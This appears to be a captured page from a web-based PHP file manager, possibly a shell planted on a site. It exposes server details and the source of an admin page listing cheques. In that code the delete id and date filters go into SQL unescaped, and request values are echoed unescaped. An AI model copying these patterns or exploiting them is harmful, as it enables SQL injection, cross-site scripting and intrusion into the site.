Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.40.1.lve.el8.x86_64

PHP Version:

8.2.27

User:

u176930106

Directory:

/home/u176930106/domains/inputdata.in/public_html/systemgem/admin

Free Space:

1.91 TB

🔧 Quick Actions

✏️ Editing: viewcheques.php

<?php
ob_start();
session_start();
include("includes/inall.php");

$url = basename(__FILE__)."?".(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '');
$heading = "Cheque";
$addpage = "addcheque.php";
$listpage = "viewcheques.php";
$table = "cheques";
$pkey = "id";
$status = "status";

/* ================= DELETE ================= */
if (isset($_REQUEST['delete']) && $_REQUEST['delete'] == "yes") {
    mysqli_query($con, "DELETE FROM `$table` WHERE `$pkey`='" . $_REQUEST['id'] . "'");
    $_SESSION['msg'] = "Entry deleted successfully.";
    header("Location:" . $listpage);
    exit();
}

/* ================= PAGINATION ================= */
$pg = $_GET['pg'] ?? 1;
$upper = 25;
$lower = $upper * ($pg - 1);

/* ================= FILTER SQL ================= */
$sql = "SELECT * FROM `$table` WHERE 1";

if (!empty($_REQUEST['party_name'])) {
    $sql .= " AND party_name LIKE '%" . mysqli_real_escape_string($con, $_REQUEST['party_name']) . "%'";
}

if (!empty($_REQUEST['cheque_no'])) {
    $sql .= " AND cheque_no LIKE '%" . mysqli_real_escape_string($con, $_REQUEST['cheque_no']) . "%'";
}

if (!empty($_REQUEST['from_date'])) {
    $sql .= " AND cheque_date >= '" . $_REQUEST['from_date'] . "'";
}

if (!empty($_REQUEST['to_date'])) {
    $sql .= " AND cheque_date <= '" . $_REQUEST['to_date'] . "'";
}

if (!empty($_REQUEST['cheque_type'])) {
    $sql .= " AND cheque_type = '" . mysqli_real_escape_string($con, $_REQUEST['cheque_type']) . "'";
}

$res = mysqli_query($con, $sql);
$num = mysqli_num_rows($res);

$pgno = intval($num / $upper);
if ($num % $upper != 0) $pgno++;
include("includes/headermain.php");
?>

<form method="get">
<div class="form-group col-md-3 floatleft">
<input class="form-control sphgt" type="text" name="party_name"
value="<?php echo $_REQUEST['party_name']; ?>" placeholder="By Party Name">
</div>

<div class="form-group col-md-2 floatleft">
<input class="form-control sphgt" type="text" name="cheque_no"
value="<?php echo $_REQUEST['cheque_no']; ?>" placeholder="Cheque No">
</div>

<div class="form-group col-md-2 floatleft">
<select class="form-control sphgt" name="cheque_type">
	<option value="">All Types</option>
	<option value="Received" <?php if($_REQUEST['cheque_type']=="Received") echo "selected"; ?>>Received</option>
	<option value="Payable" <?php if($_REQUEST['cheque_type']=="Payable") echo "selected"; ?>>Payable</option>
</select>
</div>
<div class="cleaner"></div>
<div class="form-group col-md-3 floatleft">
<button type="submit" class="btn btn-primary pr-4 pl-4">Search</button>
<button type="button" class="btn btn-primary ml-2 pr-4 pl-4"
onclick="location.href='<?php echo $listpage; ?>'">Show All</button>
</div>
</form>

<?php if($_SESSION['msg']) { ?>
<span class="grtxt"><?php echo $_SESSION['msg']; $_SESSION['msg']=""; ?></span>
<?php } ?>

<table class="table text-center">
<thead class="text-uppercase bg-primary">
<tr class="text-white">
<td align="left">Sl</td>
<td align="left">Type</td>
<td align="left">Cheque No</td>
<td align="left">Cheque Date</td>
<td align="left">Issue Date</td>
<td align="left">Party</td>
<td align="left">Bank</td>
<td align="left">Amount</td>
<td align="left">Options</td>
</tr>
</thead>
<tbody>

<?php
if ($lower == 0) $flag = 0;
else $flag = $lower;

/* MAIN DATA QUERY */
$sql .= " ORDER BY cheque_date ASC LIMIT $lower,$upper";
$res = mysqli_query($con, $sql);

$today = date('Y-m-d');
$next2 = date('Y-m-d', strtotime('+1 days'));

if (mysqli_num_rows($res)) {
while ($row = mysqli_fetch_assoc($res)) {

$row_class = "";
    if ($row['cheque_date'] >= $today && $row['cheque_date'] <= $next2) {
        $row_class = "style='background:#ffe0b2'"; // ORANGE highlight
    }
?>
<tr <?php echo $row_class; ?>>
<td align="left"><?php echo ++$flag; ?></td>
<td align="left"><strong><?php echo $row['cheque_type']; ?></strong></td>
<td align="left"><?php echo $row['cheque_no']; ?></td>
<td align="left"><?php echo dtconvert($row['cheque_date']); ?></td>
<td align="left"><?php echo dtconvert($row['issue_date']); ?></td>
<td align="left"><?php echo $row['party_name']; ?></td>
<td align="left"><?php echo $row['bank_name']; ?></td>
<td align="left"><strong>₹<?php echo number_format($row['amount'],2); ?></strong></td>
<td align="left">
<a href="<?php echo $addpage; ?>?eid=<?php echo $row[$pkey]; ?>&action=Update">Edit</a>
<br>
<a href="#" class="redtxt" onclick="del('<?php echo $listpage; ?>','<?php echo $row[$pkey]; ?>');return false;">Delete</a>
</td>
</tr>
<?php } } else { ?>
<tr><td colspan="9">No records found.</td></tr>
<?php } ?>
</tbody>
</table>

<?php if ($num >= 1) { ?>
<div class="cleaner h20"></div>
<?php include("includes/pagination.php"); ?>
<?php } ?>

</div>
</div>
</div>
</div>

</div>
<?php include("includes/footer.php"); ?>
</div>
</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: viewcheques.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation